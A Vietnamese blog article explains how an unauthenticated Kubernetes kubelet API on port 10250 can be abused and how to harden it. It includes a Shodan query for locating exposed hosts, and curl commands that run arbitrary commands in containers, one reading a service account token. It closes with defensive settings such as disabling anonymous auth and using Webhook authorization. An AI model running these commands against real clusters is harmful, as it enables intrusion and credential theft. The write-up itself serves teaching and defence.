Bài viết được sự cho phép của tác giả Trần Nhật Trường
Giới thiệu
Kubelet là một agent trong từng node, có tác dụng quản lý tất cả container. Kubelet được giám sát, điều khiển bởi Control plane (hay còn gọi là Master), dùng để quản lý các node và các pod trong cluster.
Ôn lại các kiến thức của Kubernetes, ta sẽ có một số khái niệm như cluster (cụm). Các cluster sẽ chứa các node (nút), cung cấp tài nguyên và quản lý các node. Các node chứa các pod. Các container được chạy trên các pod. Kube-apiserver là một thành phần của control plane, nó là front end của control plane, cung cấp giao diện API cho các thành phần khác giao tiếp với control plane.
Nguyên nhân
Nhìn trên kiến trúc tổng quan của Kubernetes, theo mặc định, Kubelet cho phép truy cập không cần xác thực vào các API, hơn nữa chế độ uỷ quyền (authorization) luôn cho phép quyền truy cập full vào API kubelet, tóm lại là chỉ cần kết nối được tới kubelet api là có toàn quyền điều khiển nó.
Kubelet mở một dịch vụ HTTPS ra ngoài. cho phép điều khiển, kiểm soát các node và các container, và mặc định. API được mở tại port 10250/TCP, nếu cấu hình tường lửa không tốt sẽ tốt các API này được truy cập từ ngoài internet.
Cách khai thác
Để tìm kiếm được một số mục tiêu trên mạng, có thể tìm kiếm từ khoá trên shodan như sau:
port:10250 ssl:true 404
API kubelet không có tài liệu chính thức nào về cách dùng các API này, tuy nhiên ta có thể đọc trong code của kubernetes luôn kubernetes/auth_test.go at 46d4f07eeecd4c2f2ab6abab06ec70dae3bea1b0 · kubernetes/kubernetes. Ví dụ một số API:
- /runningpods → liệt kê các pod đang chạy
- /exec → chạy câu lệnh trên container
- /run → chạy câu lệnh trên container
Khai thác thực thi mã từ xa, dùng cú pháp dưới.
$ curl -XPOST -k https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>
-d "cmd=<command-to-run>"
Ví dụ về lấy service account token.
$ curl -XPOST -k
https://${IP_ADDRESS}:10250/run/kube-system/tiller-deploy-7b56c8dfb7-hdq92/tiller
-d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token" eyJhbGciOxxxxzI1NiIsImtpZCI6Imt4bDFFWjBpVmc2aFdHMUlYOWdnV2ZXUlRudGVrUHlNdW5DcU9UU3Y5TEUifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJ0aWxsZXItdG9rZW4tN2tuYngiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1...
Giải pháp an toàn
- Chạy dịch vụ Kubelet với –anonymous-auth false.
- Không mở port 10250/TCP của Kubelet API ra ngoài internet.
- Make sure các Service Account có quyền hạn chế mức có thể.
- Tạo các tập luật Pod Security Policy.
- Tạo các Network policy để tránh các pod bị truy cập API server.
Sử dụng một số công cụ gen config chuẩn như kubeadm, review lại cấu hình đảm bảo phần anonymous enabled là false và authorization là mode Webhook.
$ kubeadm config print init-defaults
--component-configs kubeletConfiguration
apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
anonymous:
enabled: false
webhook:
cacheTTL: 2m0s
enabled: true
x509:
clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
mode: Webhook
webhook:
cacheAuthorizedTTL: 5m0s
cacheUnauthorizedTTL: 30s
cgroupDriver: cgroupfs
...
Bài viết gốc được đăng tải tại nhattruong.blog
Xem thêm:
Xem thêm các việc làm CNTT hấp dẫn trên TopDev